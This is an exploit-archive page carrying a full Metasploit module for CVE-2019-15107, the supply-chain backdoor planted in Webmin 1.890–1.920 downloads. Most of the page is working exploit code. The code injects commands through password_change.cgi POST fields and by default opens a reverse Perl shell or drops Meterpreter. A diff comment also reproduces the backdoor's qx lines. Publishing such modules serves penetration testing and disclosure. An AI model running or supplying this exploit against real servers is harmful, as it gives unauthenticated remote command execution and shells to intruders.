what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Webmin 1.920 password_change.cgi Backdoor

Webmin 1.920 password_change.cgi Backdoor
Posted Aug 23, 2019
Authored by wvu | Site metasploit.com

This Metasploit module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project's site. Unknown attacker(s) inserted Perl qx statements into the build server's source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920. Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled.

tags | exploit, perl
advisories | CVE-2019-15107
SHA-256 | a77b36da3b341bc12695770cadbf155d839a3d53526172e82c4c2022be857299

Webmin 1.920 password_change.cgi Backdoor

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin password_change.cgi Backdoor',
'Description' => %q{
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
Only the SourceForge downloads were backdoored, but they are listed as
official downloads on the project's site.

Unknown attacker(s) inserted Perl qx statements into the build server's
source code on two separate occasions: once in April 2018, introducing
the backdoor in the 1.890 release, and in July 2018, reintroducing the
backdoor in releases 1.900 through 1.920.

Only version 1.890 is exploitable in the default install. Later affected
versions require the expired password changing feature to be enabled.
},
'Author' => [
'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module
'wvu' # This module and updated information about the backdoor
],
'References' => [
['CVE', '2019-15107'], # y tho
['URL', 'http://www.webmin.com/exploit.html'],
['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],
['URL', 'https://blog.firosolutions.com/exploits/webmin/'],
['URL', 'https://github.com/webmin/webmin/issues/947']
],
'DisclosureDate' => '2019-08-10',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => [
Gem::Version.new('1.890'), Gem::Version.new('1.920')
],
'Type' => :unix_memory,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => [
Gem::Version.new('1.890'), Gem::Version.new('1.920')
],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
Opt::RPORT(10000),
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

unless res
vprint_error('Server did not respond')
return CheckCode::Unknown
end

version =
res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first

unless version
vprint_error('Webmin version not detected')
return CheckCode::Unknown
end

version = Gem::Version.new(version)

vprint_status("Webmin #{version} detected")
checkcode = CheckCode::Detected

unless version.between?(*target['Version'])
vprint_error("Webmin #{version} is not a supported target")
return CheckCode::Safe
end

vprint_good("Webmin #{version} is a supported target")
checkcode = CheckCode::Appears

res = execute_command("echo #{token}")

unless res
vprint_error('Webmin did not respond to check command')
return checkcode
end

if res.body.include?('Password changing is not enabled!')
vprint_error('Expired password changing disabled')
return CheckCode::Safe
end

if res.body.include?(token)
vprint_good('Webmin executed a benign check command')
checkcode = CheckCode::Vulnerable
else
vprint_error('Webmin did not execute our check command')
return CheckCode::Safe
end

checkcode
end

def exploit
# These CheckCodes are allowed to pass automatically
checkcodes = [
CheckCode::Appears,
CheckCode::Vulnerable
]

unless checkcodes.include?(check) || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

print_status("Configuring #{target.name} target")

case target['Type']
when :unix_memory
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")

res = execute_command(payload.encoded)

if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Dumping command output in full response body')

if res.body.empty?
print_error('Empty response body, no command output')
return
end

print_line(res.body)
end
when :linux_dropper
print_status("Sending #{datastore['PAYLOAD']} command stager")
execute_cmdstager
end
end

=begin
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
#!/usr/bin/perl
2:1c
#!/usr/local/bin/perl
====1
1:12c
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
# Show ok page
3:200c

wvu@kharak:~/Downloads$
=end
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' => {'Referer' => full_uri},
'vars_post' => {
# 1.890
'expired' => cmd,
# 1.900-1.920
'new1' => token,
'new2' => token,
'old' => cmd
}
}, 3.5)
end

def token
@token ||= Rex::Text.rand_text_alphanumeric(8..42)
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close